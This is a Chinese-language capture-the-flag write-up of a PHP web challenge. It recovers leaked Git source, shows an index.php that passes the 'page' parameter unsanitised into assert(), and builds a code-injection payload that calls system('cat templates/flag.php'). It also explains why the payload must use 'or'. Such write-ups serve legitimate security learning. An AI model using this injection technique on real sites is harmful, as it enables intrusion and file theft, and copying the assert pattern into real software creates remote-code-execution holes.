打开题目一通乱点,在about界面看到了一些内容

    1. I wrote this website all by myself in under a week!
    2. I used:
    3. Git
    4. PHP
    5. Bootstrap

    看到有git,猜测是git文件泄露。
    使用Git_Extract,下载下来源码,得到四个文件

    1. index.php about.php contact.php flag.php home.php

    首先查看flag.php的内容

    1. <?php
    2. // TODO
    3. // $FLAG = '';
    4. ?>

    但是flag变量里面什么都没有,接下来查看index.php的内容

    1. <?php
    2. if (isset($_GET['page'])) {
    3. $page = $_GET['page'];
    4. } else {
    5. $page = "home";
    6. }
    7. $file = "templates/" . $page . ".php";
    8. // I heard '..' is dangerous!
    9. assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    10. // TODO: Make this look nice
    11. assert("file_exists('$file')") or die("That file doesn't exist!");
    12. ?>
    13. <!DOCTYPE html>
    14. <html>
    15. <head>
    16. <meta charset="utf-8">
    17. <meta http-equiv="X-UA-Compatible" content="IE=edge">
    18. <meta name="viewport" content="width=device-width, initial-scale=1">
    19. <title>My PHP Website</title>
    20. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
    21. </head>
    22. <body>
    23. <nav class="navbar navbar-inverse navbar-fixed-top">
    24. <div class="container">
    25. <div class="navbar-header">
    26. <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
    27. <span class="sr-only">Toggle navigation</span>
    28. <span class="icon-bar"></span>
    29. <span class="icon-bar"></span>
    30. <span class="icon-bar"></span>
    31. </button>
    32. <a class="navbar-brand" href="#">Project name</a>
    33. </div>
    34. <div id="navbar" class="collapse navbar-collapse">
    35. <ul class="nav navbar-nav">
    36. <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
    37. <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
    38. <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
    39. <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
    40. </ul>
    41. </div>
    42. </div>
    43. </nav>
    44. <div class="container" style="margin-top: 50px">
    45. <?php
    46. require_once $file;
    47. ?>
    48. </div>
    49. <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
    50. <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
    51. </body>
    52. </html>

    可以看到代码对page变量没有任何过滤,并且下面有个assert函数,构造payload:

    1. flag') or system('cat templates/flag.php');//

    与assert结合之后:

    1. assert("strpos('flag') or system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

    中间的or不能替换为;或and,否则assert执行的结果会是false。后面的//注释掉', '..') === false的内容。